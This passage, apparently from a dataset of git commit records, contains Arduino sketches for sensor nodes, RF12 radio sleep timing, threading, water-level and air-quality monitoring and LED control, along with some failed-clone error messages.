milli ticks, since we will have missed several\n#if defined(__AVR_ATtiny84__) || defined(__AVR_ATtiny85__) || defined (__AVR_ATtiny44__)\n extern volatile unsigned long millis_timer_millis;\n millis_timer_millis += msecs - msleft;\n#else\n extern volatile unsigned long timer0_millis;\n timer0_millis += msec - msleft;\n#endif\n}\n#endif\n\nstatic void sleepIdle(unsigned int msec)\n{\n unsigned long start = millis();\n set_sleep_mode(SLEEP_MODE_IDLE);\n while (millis() - start < msec)\n sleep_mode();\n}\n\nstatic void sleep(unsigned int msec)\n{\n#if defined(MINIMAL_POWER_MODE)\n sleepPwrDown(msec);\n#else\n sleepIdle(msec);\n#endif \/* SLEEP_MODE_PWR_DOWN *\/\n}\n\nstatic void resetEstimate(void)\n{\n#if defined(LMREMOTE_SERIAL) && defined(_DEBUG)\n Serial.print(F(\"Resetting Estimate\\n\"));\n#endif\n _recvCycleAct = RECV_CYCLE_TIME;\n _recvWindow = MAX_RECV_WIN;\n _recvSynced = false;\n\n unsigned long start = millis();\n while (!rf12_doWork())\n if (millis() - start > RECV_CYCLE_TIME)\n return;\n _recvLast = millis();\n}\n\nstatic bool optimalSleep(void)\n\/\/ Code adapted from jeelib\/examples\/syncRecv optimalSleep()\n{\n unsigned char lost = (millis() - _recvLast + _recvCycleAct \/ 2) \/ _recvCycleAct;\n if (lost > 10)\n {\n resetEstimate();\n return false;\n }\n\n unsigned long predict = _recvLast + (lost + 1) * _recvCycleAct;\n unsigned int sleepDur = predict - _recvWindow - millis();\n sleep(sleepDur);\n rf12_sleep(RF12_WAKEUP);\n\n unsigned long recvTime;\n unsigned long timeout = predict + _recvWindow;\n do {\n recvTime = millis();\n if ((long)(recvTime - timeout) >= 0)\n {\n#if defined(LMREMOTE_SERIAL) && defined(_DEBUG)\n Serial.print(\" f \"); Serial.print(lost);\n Serial.print(\" s \"); Serial.print(sleepDur);\n Serial.print(\" e \"); Serial.print(_recvCycleAct);\n Serial.print(\" w \"); Serial.print(_recvWindow);\n Serial.print(\" p \"); Serial.print(predict);\n Serial.print(\" r \"); Serial.println(recvTime);\n Serial.flush();\n#endif\n \/\/ double the window every N packets lost\n ++lost;\n if (lost % 2 == 0 && _recvWindow < MAX_RECV_WIN)\n _recvWindow *= 2;\n\n return false;\n }\n } while (!rf12_doWork());\n\n unsigned int newEst = (recvTime - _recvLast) \/ (lost + 1);\n if (_recvSynced)\n _recvCycleAct = (4 * _recvCycleAct + newEst + 3) \/ 5; \/\/ 5-fold smoothing\n else\n _recvCycleAct = newEst;\n _recvLast = recvTime;\n\n#if defined(LMREMOTE_SERIAL) && defined(_DEBUG)\n Serial.print(\" n \"); Serial.print(lost);\n Serial.print(\" e \"); Serial.print(_recvCycleAct);\n Serial.print(\" E \"); Serial.print(newEst);\n Serial.print(\" w \"); Serial.print(_recvWindow);\n Serial.print(\" p \"); Serial.print(predict);\n Serial.print(\" r \"); Serial.println(recvTime);\n#endif\n\n if (_recvWindow > MIN_RECV_WIN)\n _recvWindow \/= 2;\n else\n _recvSynced = true;\n\n return true;\n}\n\nstatic void updateBatteryLow(void)\n{\n const unsigned char BATREAD_COUNT = 4;\n \n _isBattLow = HYGRO_BATTERY_OK;\n if (_pinBattery != 0xff)\n {\n unsigned int adcSum = 0;\n unsigned char battPct;\n for (unsigned char i=0; i<BATREAD_COUNT; ++i)\n adcSum += analogReadSleep(_pinBattery);\n \/\/ Percent of VCC\n battPct = (adcSum * 100UL) \/ (1024 * BATREAD_COUNT);\n\n#ifdef LMREMOTE_SERIAL\n Serial.print(\"Battery %: \"); Serial.print(battPct, DEC); Serial.print('\\n');\n#endif\n\n if (battPct < BATTERY_LOW_PCT)\n _isBattLow = HYGRO_BATTERY_LOW;\n }\n}\n\nstatic void transmitTemp(unsigned char pin)\n{\n unsigned char outbuf[4];\n unsigned char nodeId = _rfNodeBaseId + pin;\n unsigned int val = _previousReads[pin];\n val <<= (12 - (10 + TEMP_OVERSAMPLE_BITS));\n outbuf[0] = 0x90 | ((nodeId & 0x3f) >> 2);\n outbuf[1] = ((nodeId & 0x3f) << 6) | _isRecent | (val >> 8);\n outbuf[2] = (val & 0xff);\n outbuf[3] = HYGRO_LMREMOTE_KEY | _isBattLow;\n \/\/Serial.println(outbuf[3], HEX);\n\n \/\/ Don't check for air to be clear, we just woke from sleep and it will be milliseconds before\n \/\/ the RFM chip is actually up and running\n rf12_sendStart(outbuf, sizeof(outbuf));\n rf12_sendWait(SLEEPMODE_TX);\n}\n\nstatic void newTempsAvailable(void)\n{\n \/\/ Enable the transmitter because it takes 1-5ms to turn on (3ms in my testing)\n rf12_sleep(RF12_WAKEUP);\n\n updateBatteryLow();\n \/\/ We're done with the ADC shut it down until the next wake cycle\n ADCSRA &= ~bit(ADEN);\n if (_isRecent && (millis() > RECENT_EXPIRE_SECS))\n {\n \/\/Serial.print(\"No longer recent\\n\");\n _isRecent = 0;\n }\n\n boolean hasTransmitted = false;\n for (unsigned char pin=0; pin < RF_PINS_PER_SOURCE; ++pin)\n {\n if (PIN_DISABLED(pin))\n continue;\n if (hasTransmitted) sleep(16);\n transmitTemp(pin);\n hasTransmitted = true;\n }\n \n rf12_sleep(RF12_SLEEP);\n if (_pinLedTx != 0xff)\n {\n digitalWrite(_pinLedTx, HIGH);\n sleep(16);\n digitalWrite(_pinLedTx, LOW);\n }\n}\n\nstatic void stabilizeAdc(void)\n{\n const unsigned char INTERNAL_REF = 0b1110;\n unsigned int last;\n unsigned char totalCnt = 0;\n unsigned char sameCnt = 0;\n unsigned int curr = analogReadSleep(INTERNAL_REF);\n \/\/ Reads the adc a bunch of times until the value settles\n \/\/ Usually you hear \"discard the first few ADC readings after sleep\"\n \/\/ but this seems a bit more scientific as we wait for the AREF cap to charge\n do {\n ++totalCnt;\n#ifdef LMREMOTE_SERIAL\n Serial.print(curr, DEC);\n Serial.print(' ');\n#endif\n last = curr;\n curr = analogReadSleep(INTERNAL_REF);\n if (last == curr)\n ++sameCnt;\n else\n sameCnt = 0;\n } while ((totalCnt < 64) && (sameCnt < 4));\n}\n\nstatic void checkTemps(void)\n{\n const unsigned char OVERSAMPLE_COUNT[] = {1, 4, 16, 64}; \/\/ 4^n\n boolean modified = false;\n unsigned int oversampled_adc = 0;\n\n#ifdef LMREMOTE_SERIAL\n Serial.print(millis(), DEC);\n Serial.print(\" Checking temps: \");\n#endif\n\n \/\/ Enable the ADC\n ADCSRA |= bit(ADEN);\n \/\/ The probe themistor voltage dividers are normally powered down\n \/\/ to save power, using digital lines to supply Vcc to them.\n digitalWrite(_pinProbeSupply, HIGH);\n \/\/ Wait for AREF capacitor to charge\n stabilizeAdc();\n\n for (unsigned char pin=0; pin < RF_PINS_PER_SOURCE; ++pin)\n {\n if (PIN_DISABLED(pin))\n continue;\n\n for (unsigned char o=0; o<OVERSAMPLE_COUNT[TEMP_OVERSAMPLE_BITS]; ++o)\n {\n unsigned int adc = analogReadSleep(pin);\n if (adc == 0 || adc >= 1023)\n {\n oversampled_adc = 0;\n break;\n }\n oversampled_adc += adc;\n }\n oversampled_adc = oversampled_adc >> TEMP_OVERSAMPLE_BITS;\n\n#ifdef LMREMOTE_SERIAL\n Serial.print(oversampled_adc, DEC); Serial.print(' ');\n#endif\n if (oversampled_adc != _previousReads[pin])\n modified = true;\n _previousReads[pin] = oversampled_adc;\n }\n digitalWrite(_pinProbeSupply, LOW);\n\n#ifdef LMREMOTE_SERIAL\n Serial.print('\\n');\n#endif\n\n if (modified || (_sameCount > (30 \/ _sleepInterval)))\n {\n _sameCount = 0;\n newTempsAvailable();\n }\n else\n ++_sameCount;\n \/\/ Disable the ADC\n ADCSRA &= ~bit(ADEN);\n\n _tempReadLast = millis();\n}\n\nvoid setup(void)\n{\n \/\/ Turn off the units we never use (this only affects non-sleep power)\n PRR = bit(PRUSART0) | bit(PRTWI) | bit(PRTIM1) | bit(PRTIM2);\n \/\/ Disable digital input buffers on the analog in ports\n DIDR0 = bit(ADC5D) | bit(ADC4D) | bit(ADC3D) | bit(ADC2D) | bit(ADC1D) | bit(ADC0D);\n DIDR1 = bit(AIN1D) | bit(AIN0D);\n\n#ifdef LMREMOTE_SERIAL\n PRR &= ~bit(PRUSART0);\n Serial.begin(LMREMOTE_SERIAL); Serial.println(\"$UCID,lmremote\"); Serial.flush();\n#endif\n\n rf12_initialize(_rfBand);\n \/\/ Crystal 1.66MHz Low Battery Detect 2.2V\n rf12_control(0xC040);\n\n if (_pinLedRx != 0xff) pinMode(_pinLedRx, OUTPUT);\n if (_pinLedTx != 0xff) pinMode(_pinLedTx, OUTPUT);\n\n pinMode(_pinProbeSupply, OUTPUT);\n\n \/\/ Force a transmit on next read\n memset(_previousReads, 0xff, sizeof(_previousReads));\n}\n\nvoid loop(void)\n{\n if (_loopCnt % 2 == 0)\n checkTemps();\n\n#ifdef LMREMOTE_SERIAL\n Serial.flush();\n#endif\n\n if (_recvLast == 0)\n resetEstimate();\n else\n optimalSleep();\n rf12_sleep(RF12_SLEEP);\n\n ++_loopCnt;\n}\n\n\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"b48fb98e031e454e504c1ad7f4837cf47c122f20","subject":"trying to configure the TMC260","message":"trying to configure the TMC260\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"SPITest\/SPITest.ino","new_file":"SPITest\/SPITest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"8d4ce9b40da893e2c87917744aed9d8fe04f179e","subject":"Added synchronised threads (semaphores) example","message":"Added synchronised threads (semaphores) example\n","repos":"UECIDE\/PICoo,UECIDE\/PICoo","old_file":"examples\/Threads\/SynchronisedThreads\/SynchronisedThreads.ino","new_file":"examples\/Threads\/SynchronisedThreads\/SynchronisedThreads.ino","new_contents":"#include <stdio.h>\n\nIO::PIC32 Core;\nIO::Pin LED(Core, 13, IO::OUTPUT, IO::LOW);\n\nconst char states[] = {'Z', 'R', 'S', 'H', 'M', 'W'};\n\nthread blnk;\nthread topscreen;\n\nsemaphore sem;\n\nvoid setup() {\n\tprintf(\"\\e[2J\");\n\tblnk = Thread::Create(\"blink\",blinker, 0, 512);\n\ttopscreen = Thread::Create(\"top\",top, 0, 512);\n}\n\nuint32_t spoon;\n\nvoid blinker(uint32_t x) {\n\twhile(1) {\n\t\tThread::Signal(sem);\n\t\tLED.write(IO::HIGH);\n\t\tThread::Sleep(100);\n\t\tLED.write(IO::LOW);\n\t\tThread::Sleep(500);\n\t}\n}\n\nextern thread ThreadList;\nextern thread currentThread;\n\nvoid top(uint32_t x) {\n\twhile(1) {\n\t\tThread::Wait(sem);\n\t printf(\"\\e[0;0H\");\n\t printf(\"Uptime: %lums\\n\", Thread::Milliseconds());\n\t printf(\"Entry Thread Stack %%CPU S A\\n\");\n\t for (thread scan = ThreadList; scan; scan = scan->next) {\n\t printf(\"%08X %-10s %-4d %4d%% %c %c\\n\",\n\t scan->entry,\n\t scan->name, (scan->stack_head - scan->sp) * 4, \n\t Thread::Runtime(scan) * 100 \/ Thread::Milliseconds(),\n\t states[scan->state],\n\t scan == currentThread? '*' : ' '\n\t );\n\t }\n\t\tThread::Sleep(100);\n\t}\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Threads\/SynchronisedThreads\/SynchronisedThreads.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"d7fa0882dcbc50572ad63f684c83c1a2db99e359","subject":"Change to drive 24 NeoPixels","message":"Change to drive 24 NeoPixels\n","repos":"JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino","old_file":"WS1812B\/WS1812B.ino","new_file":"WS1812B\/WS1812B.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/JulianNicholls\/Arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"689420a5384c578003e9665564c30d83a3105c89","subject":"beginnings of arduino code stitch","message":"beginnings of arduino code stitch\n","repos":"jb38\/cs475-senior-project,jb38\/cs475-senior-project","old_file":"src\/main\/arduino\/templogger\/templogger.ino","new_file":"src\/main\/arduino\/templogger\/templogger.ino","new_contents":"\n#include <Wire.h>\n\/\/#include <SPI.h>\n#include <RTC_DS3231.h> \/\/ rtc\n\nRTC_DS3231 RTC;\n\nvoid setup() {\n\n Wire.begin(); \/\/ I2C init as master\n\n setupRTC();\n \n \n}\n\nvoid setupRTC() {\n\n RTC.begin();\n\n if (!RTC.isrunning()) {\n Serial.println(\"RTC is NOT running!\");\n RTC.adjust(DateTime(__DATE__, __TIME__));\n }\n\n \/\/ set the date on the RTC to be the date and time of compilation.\n \/\/ this may result in a few-second offset between \"real\" time and\n \/\/ RTC time, but this is negligible as temperature will not change\n \/\/ drastically in a matter of a few seconds\n DateTime now = RTC.now();\n DateTime compiled = DateTime(__DATE__, __TIME__);\n if (now.unixtime() < compiled.unixtime()) {\n RTC.adjust(DateTime(__DATE__, __TIME__));\n } \n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n\n\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/main\/arduino\/templogger\/templogger.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d2622eeb1a6bab46f098b80ae37df724abf1ff27","subject":"Ajout du code Arduino (Programme principal)","message":"Ajout du code Arduino (Programme principal)\n\n- Impl\u00e9mentation de l'envoie des informations\nde l'ultrason toutes les secondes sur le port Serial\n- Impl\u00e9mentation de 'PUMP_IN' repr\u00e9sent\u00e9 par une LED\n","repos":"Vayel\/wello,Vayel\/wello","old_file":"arduino\/main\/main.ino","new_file":"arduino\/main\/main.ino","new_contents":"#define VITESSE 340000 \/\/vitesse du son 340000 mm\/s\n\nconst int USTrig = 8; \/\/ D\u00e9clencheur sur la broche 8\nconst int USEcho = 9; \/\/ R\u00e9ception sur la broche 9\nconst int led = 2; \/\/ LED sur la broche 2 \n\nString command = \"\";\nboolean commandComplete = false;\nboolean isSent = false;\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(led, OUTPUT);\n digitalWrite(led, HIGH);\n \n command.reserve(200);\n setupWaterLevel();\n}\n\nvoid loop() {\n if (checkSending()) {\n \/\/ Send values\n readWaterLevel();\n }\n\n if (commandComplete) {\n checkCommand(command);\n \n \/\/ Clear the command:\n command = \"\";\n commandComplete = false;\n }\n}\n\nvoid serialEvent() {\n while (Serial.available()) {\n \/\/ get the new byte:\n char inChar = (char)Serial.read();\n \/\/ add it to the inputString:\n command += inChar;\n \/\/ if the incoming character is a newline, set a flag\n \/\/ so the main loop can do something about it:\n if (inChar == '\\n') {\n commandComplete = true;\n }\n }\n}\n\nboolean checkSending() {\n if ((millis() % 1000) < 500) {\n if (!isSent) {\n isSent = true;\n return true;\n }\n } else {\n isSent = false;\n }\n\n return false;\n}\n\nvoid checkCommand(String command) {\n Serial.print(command);\n if (command.startsWith(\"PUMP_IN=0\")) {\n Serial.println(\"LED OFF\");\n digitalWrite(led, HIGH);\n } else if (command.startsWith(\"PUMP_IN=1\")) {\n Serial.println(\"LED ON\");\n digitalWrite(led, LOW);\n }\n}\n\nvoid setupWaterLevel() {\n pinMode(USTrig, OUTPUT);\n pinMode(USEcho, INPUT);\n \n digitalWrite(USTrig, LOW);\n}\n\nvoid readWaterLevel() {\n \/\/ 1. Un \u00e9tat haut de 10 microsecondes est mis sur la broche \"Trig\"\n digitalWrite(USTrig, HIGH);\n delayMicroseconds(10); \/\/on attend 10 \u00b5s\n \/\/ 2. On remet \u00e0 l\u2019\u00e9tat bas la broche Trig\n digitalWrite(USTrig, LOW);\n \n \/\/ 3. On lit la dur\u00e9e d\u2019\u00e9tat haut sur la broche \"Echo\"\n unsigned long duree = pulseIn(USEcho, HIGH);\n \n if(duree > 30000)\n {\n \/\/ si la dur\u00e9e est sup\u00e9rieure \u00e0 30ms, l'onde est perdue\n \/\/Serial.println(\"Onde perdue, mesure \u00e9chou\u00e9e !\");\n }\n else\n {\n \/\/ 4. On divise cette dur\u00e9e par deux pour n'avoir qu'un trajet\n duree = duree\/2;\n \n \/\/ 5. On calcule la distance avec la formule d=v*t\n float temps = duree\/1000000.0; \/\/on met en secondes\n long distance = long(temps*VITESSE); \/\/on multiplie par la vitesse, d=t*v\n \n \/\/ 6. On affiche la distance\n Serial.println(distance); \/\/affiche la distance mesur\u00e9e (en m\u00e8tres)\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/main\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"143e9db00e4f3b0fe6f042801a2976098500cf39","subject":"develop","message":"develop\n","repos":"ductsoup\/Air-Quality-Sensor-Suite,ductsoup\/Air-Quality-Sensor-Suite","old_file":"software\/yun_air\/yun_air.ino","new_file":"software\/yun_air\/yun_air.ino","new_contents":"\/\/\n\/\/ Air Quality Sensor Suite\n\/\/\n#include <Bridge.h>\nProcess p;\n\n\/\/\n\/\/ Bridge and Modbus helper functions\n\/\/\n\n\/\/ write a float to the bridge\nvoid setFloat(char *a, float v) {\n Bridge.put(a, String(v));\n}\n\/\/ read a float from the bridge\n#define BUF_SIZE 32\nfloat getFloat(char *a) {\n char buf[BUF_SIZE];\n Bridge.get(a, buf, BUF_SIZE);\n return atof(buf);\n}\n\n\/\/\n\/\/ Modbus register map\n\/\/\n\/\/ modpoll -m tcp -0 -c7 -t 4:float -r 40001 [ip_addr]\n\/\/ modpoll -m tcp -0 -c3 -t 4:float -r 40101 [ip_addr]\n\/\/\n#define RO_START \"40001\" \/\/ ro block\n#define RO_LENGTH \"7\"\n#define S0_CurrentMillis \"40001\"\n#define S1_TemperatureF \"40003\" \n#define S1_Humidity \"40005\"\n#define S2_ConcentrationPM10 \"40007\" \n#define S2_ConcentrationPM25 \"40009\"\n#define S3_Concentration \"40011\"\n#define S3_Alarm \"40013\"\n\n#define RW_START \"40101\" \/\/ rw block\n#define RW_LENGTH \"3\"\n#define S1_UpdateInterval \"40101\" \n#define S2_UpdateInterval \"40103\"\n#define S2_FilterWeight \"40105\"\n\n\/\/\n\/\/ S1 Adafruit DHT22\n\/\/ https:\/\/learn.adafruit.com\/dht\/connecting-to-a-dhtxx-sensor\n\/\/\n#include \"DHT.h\"\n#define S1_Pin 11\n#define S1_Type DHT22\nDHT dht(S1_Pin, S1_Type);\n\n\/\/\n\/\/ S2 - Shinyei Model PPD42NS Particle Sensor\n\/\/ http:\/\/www.sca-shinyei.com\/pdf\/PPD42NS.pdf\n\/\/ SW-PWM-01A\n\/\/ http:\/\/www.mouser.com\/pdfdocs\/AAS920643ATelaireDustSensor081414web.PDF\n\/\/ http:\/\/www.digikey.com\/Web%20Export\/Supplier%20Content\/amphenol-advanced-sensors-45\/pdf\/amphenol-advanced-smart-sensor.pdf?redirected=1\n\/\/\n#define S2_P1_Pin 10\n#define S2_P2_Pin 9\n\n\/\/\n\/\/ S3 - MQ-2\n\/\/\n#define MQ2_D 12\n#define MQ2_A A0\n\nvoid setup(void)\n{\n\/\/Serial.begin(115200);\n \n \/\/ Start the bridge\n Bridge.begin();\n \n \/\/ Start the modbus server\n p.begin(\"python\");\n p.addParameter(\"\/mnt\/sd\/modbus_tcp_slave.py\"); \/\/ modbus float holding registers\n p.addParameter(RO_START); \/\/ read only start address\n p.addParameter(RO_LEN); \/\/ read only number of holding registers\n p.addParameter(RW_START); \/\/ read\/write start address (optional)\n p.addParameter(RW_LEN); \/\/ read\/write number of holding registers (optional)\n p.runAsynchronously();\n \n \/\/ Initialize S1\n dht.begin();\n setFloat(S1_UpdateInterval, 10000.0);\n \n \/\/ Initialize S2\n pinMode(S2_P1_Pin, INPUT);\n \n \/\/ digitalWrite(S2_P1_Pin, HIGH);\n pinMode(S2_P2_Pin, INPUT);\n \n \/\/ digitalWrite(S2_P2_Pin, HIGH);\n setFloat(S2_UpdateInterval, 10000.0);\n setFloat(S2_FilterWeight, 30.0);\n \n \/\/ pin change interrupt\n PCMSK0 |= bit (PCINT5); \/\/ want pin 9\n PCMSK0 |= bit (PCINT6); \/\/ want pin 10\n PCIFR |= bit (PCIF0); \/\/ clear any outstanding interrupts\n PCICR |= bit (PCIE0); \/\/ enable pin change interrupts for D8 to D13\n \n \/\/ Initialize S3\n pinMode(MQ2_A, INPUT);\n pinMode(MQ2_D, INPUT);\n}\n\n\/\/ interrupt and timer storage\nunsigned long S1StartTime = 0, S2StartTime = 0;\nint state09 = HIGH, state10 = HIGH;\nunsigned long start09, start10;\nvolatile unsigned long lpo09, lpo10;\n\n\/\/ optional limiter for S2\nunsigned long limit(unsigned long x) {\n \/\/ return (x < 10000ul || x > 90000ul) ? 0 : x;\n return x;\n}\n\/\/ interrupt service routine\nISR (PCINT0_vect) {\n unsigned long us = micros();\n if (state09 != digitalRead(S2_P2_Pin))\n if ((state09 = digitalRead(S2_P2_Pin)) == LOW)\n start09 = us;\n else\n lpo09 += limit(us - start09);\n if (state10 != digitalRead(S2_P1_Pin))\n if ((state10 = digitalRead(S2_P1_Pin)) == LOW)\n start10 = us;\n else\n lpo10 += limit(us - start10);\n}\n\n\/\/\n\/\/ poll the sensors and update the bridge\n\/\/\nvoid loop(void)\n{\n unsigned long curMillis = millis();\n float x, y;\n\n \/\/ S0 - suite\n setFloat(S0_CurrentMillis, curMillis);\n\n \/\/ S1 - temperature and humidity\n if (curMillis - S1StartTime > getFloat(S1_UpdateInterval)) {\n digitalWrite(13, HIGH);\n setFloat(S1_TemperatureF, dht.readTemperature(true) - 4.0); \/\/ correction for mounting too close to MQ-2\n setFloat(S1_Humidity, dht.readHumidity());\n \n S1StartTime = curMillis;\n digitalWrite(13, LOW);\n }\n\n \/\/ S2 - particulate dust\n if (curMillis - S2StartTime > getFloat(S2_UpdateInterval)) {\n digitalWrite(13, HIGH);\n x = 0.1 * float(lpo10) \/ getFloat(S2_UpdateInterval);\n y = 1.1 * x * x * x - 3.8 * x * x + 520 * x; \/\/ + 0.62;\n setFloat(S2_ConcentrationPM10, (y + getFloat(S2_ConcentrationPM10) * (getFloat(S2_FilterWeight) - 1.0)) \/ getFloat(S2_FilterWeight));\n lpo10 = 0;\n \n x = 0.1 * float(lpo09) \/ getFloat(S2_UpdateInterval);\n y = 1.1 * x * x * x - 3.8 * x * x + 520 * x; \/\/ + 0.62;\n setFloat(S2_ConcentrationPM25, (y + getFloat(S2_ConcentrationPM25) * (getFloat(S2_FilterWeight) - 1.0)) \/ getFloat(S2_FilterWeight));\n \n lpo09 = 0;\n S2StartTime = curMillis;\n digitalWrite(13, LOW);\n }\n\n \/\/ S3 - volatile organic compounds\n setFloat(S3_Concentration, (5.0 \/ 4.0) * (float(analogRead(MQ2_A)) \/ 1024.0));\n setFloat(S3_Alarm, float(digitalRead(MQ2_D)));\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'software\/yun_air\/yun_air.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3be8ee331d079d44d3d71864857ff6d54ce05a82","subject":"test version of a master node","message":"test version of a master node\n","repos":"mayhem\/led-chandelier,mayhem\/led-chandelier,mayhem\/led-chandelier","old_file":"firmware\/master\/master.ino","new_file":"firmware\/master\/master.ino","new_contents":"#include <SPI85.h>\n#include <Mirf.h>\n#include <nRF24L01.h>\n#include <MirfHardwareSpi85Driver.h>\n\nconst uint64_t ADDRESS = 0x45;\nbyte addr[mirf_ADDR_LEN] = { ADDRESS, 0, 0, 0, 0 };\n\nvoid setup()\n{\n Serial.begin(9600);\n Serial.println(\"master starting\");\n \n Mirf.spi = &MirfHardwareSpi85;\n Mirf.cePin = 7;\n Mirf.csnPin = 3; \n Mirf.init();\n Mirf.setRADDR((byte *)\"abcde\");\n Mirf.payload = 3;\n Mirf.channel = 160;\n Mirf.configRegister(RF_SETUP,0x05); \/\/ 1mbps rate, HIGH transmit rate\n \/\/Mirf.configRegister(EN_AA, 0); \/\/ turn off auto ack for all channels.\n Mirf.baseConfig = _BV(EN_CRC) | _BV(CRCO);\n Mirf.config(); \n delay(100); \n \n Serial.println(\"startup complete:\" + String(Mirf.getStatus()));\n pinMode(1, OUTPUT);\n}\n\nuint32_t color_wheel(byte WheelPos, byte color[3]) \n{\n WheelPos = 255 - WheelPos;\n if(WheelPos < 85) \n {\n color[0] = 255 - WheelPos * 3;\n color[1] = 0;\n color[2] = WheelPos * 3;\n } \n else if(WheelPos < 170) \n {\n WheelPos -= 85;\n color[0] = 0;\n color[1] = WheelPos * 3;\n color[2] = 255 - WheelPos * 3;\n } \n else \n {\n WheelPos -= 170;\n color[0] = WheelPos * 3;\n color[1] = 255 - WheelPos * 3;\n color[2] = 0;\n }\n}\n\nvoid loop()\n{\n uint16_t j;\n byte col[3];\n \n Mirf.setTADDR((byte *)\"aaaaa\");\n\n \/\/col[0] = i % 2 ? 255 : 0;\n \/\/col[1] = 0;\n \/\/col[2] = i % 2 ? 0 : 255;\n \/\/Serial.println(\"data: \" + String(col[0]) + \" \" + String(col[1]) + \" \" + String(col[2]));\n\n for(j=0; j<256*5; j++) \n {\n color_wheel(j & 255, col);\n Mirf.send(col);\n while(Mirf.isSending())\n ;\n\n if (j % 2)\n digitalWrite(1, HIGH);\n else\n digitalWrite(1, LOW);\n delay(20);\n }\n}\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/master\/master.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"45fe322b6047df1161a388e61ceac32a218f508d","subject":"add new ledNode example sketch","message":"add new ledNode example sketch\n","repos":"jcw\/jeelib,jcw\/jeelib","old_file":"examples\/RF12\/ledNode\/ledNode.ino","new_file":"examples\/RF12\/ledNode\/ledNode.ino","new_contents":"\/\/ Programmable color ramps for the LED drivers on the LED Node\n\/\/ 2011-10-26 <jcw@equi4.com> http:\/\/opensource.org\/licenses\/mit-license.php\n\n#include <JeeLib.h>\n#include <EEPROM.h>\n#include <avr\/sleep.h>\n\n#define EEPROM_BASE 0x100 \/\/ store ramps starting at this offset\n#define RAMP_LIMIT 100 \/\/ room for ramps 0..99, stored in EEPROM\n\n#define LED_R 6 \/\/ the PWM pin which drives the red LED\n#define LED_G 9 \/\/ the PWM pin which drives the green LED\n#define LED_B 5 \/\/ the PWM pin which drives the blue LED\n\n\/\/ a \"Ramp\" is a target RGB color and the time in seconds to reach that color\n\/\/ ramps can be chained together with a non-zero ramp index in the chain field\ntypedef struct {\n byte colors[3]; \/\/ red, green, blue, 0..255\n byte steps; \/\/ number of seconds used to reach given RGB colors\n byte chain; \/\/ next ramp to use when done, or 0 to stay as is\n} Ramp;\n\nlong now[3]; \/\/ current PWM values, as 9+23 bit fractional int\nlong delta[3]; \/\/ current PWM deltas, as 9+23 bit fractional int\nword duration; \/\/ number of 0.01s steps remaining in this ramp\nbyte nextRamp; \/\/ which saved ramp to use next (or none if zero)\nMilliTimer timer; \/\/ used as timer for the 0.01s steps\n\nstatic Ramp stdRamps[] = {\n { 0, 0, 0, 0, 0 }, \/\/ 0: instant off\n { 255, 100, 50, 0, 0 }, \/\/ 1: instant warm white\n { 255, 200, 150, 0, 0 }, \/\/ 2: instant cold white\n { 0, 0, 0, 0, 300 }, \/\/ 3: 3s off\n { 255, 100, 50, 0, 300 }, \/\/ 4: 3s warm white\n { 255, 200, 150, 0, 300 }, \/\/ 5: 3s cold white\n { 255, 0, 0, 7, 300 }, \/\/ 6: 3s red -> green -> blue\n { 0, 255, 0, 8, 300 }, \/\/ 7: 3s green -> blue -> red\n { 0, 0, 255, 6, 300 }, \/\/ 8: 3s blue -> red -> green\n { 7, 1, 0, 0, 0 }, \/\/ 9: instant faint red'ish yellow\n};\n\nstatic void setLeds () {\n \/\/ set to bits 30..23, but rounded by one extra bit (i.e. bit 22)\n analogWrite(LED_R, (byte) (((word) (now[0] >> 22) + 1) >> 1));\n analogWrite(LED_G, (byte) (((word) (now[1] >> 22) + 1) >> 1));\n analogWrite(LED_B, (byte) (((word) (now[2] >> 22) + 1) >> 1));\n}\n\nstatic void useRamp (const void* ptr) {\n const Ramp* ramp = (const Ramp*) ptr;\n nextRamp = ramp->chain;\n duration = ramp->steps * 100;\n for (byte i = 0; i < 3; ++i) {\n long target = (long) ramp->colors[i] << 23;\n if (duration > 0)\n delta[i] = (target - now[i]) \/ duration;\n else\n now[i] = target;\n }\n setLeds();\n}\n\nstatic void loadRamp (byte pos) {\n if (pos < RAMP_LIMIT) {\n word addr = EEPROM_BASE + pos * sizeof (Ramp);\n Ramp ramp;\n for (byte i = 0; i < sizeof (Ramp); ++i)\n ((byte*) &ramp)[i] = EEPROM.read(addr+i);\n useRamp(&ramp);\n }\n}\n\nstatic void saveRamp (byte pos, const void* data) {\n if (pos < RAMP_LIMIT) {\n word addr = EEPROM_BASE + pos * sizeof (Ramp);\n for (byte i = 0; i < sizeof (Ramp); ++i)\n EEPROM.write(addr+i, ((const byte*) data)[i]);\n }\n}\n\nvoid setup () {\n for (byte i = 0; i < sizeof stdRamps \/ sizeof 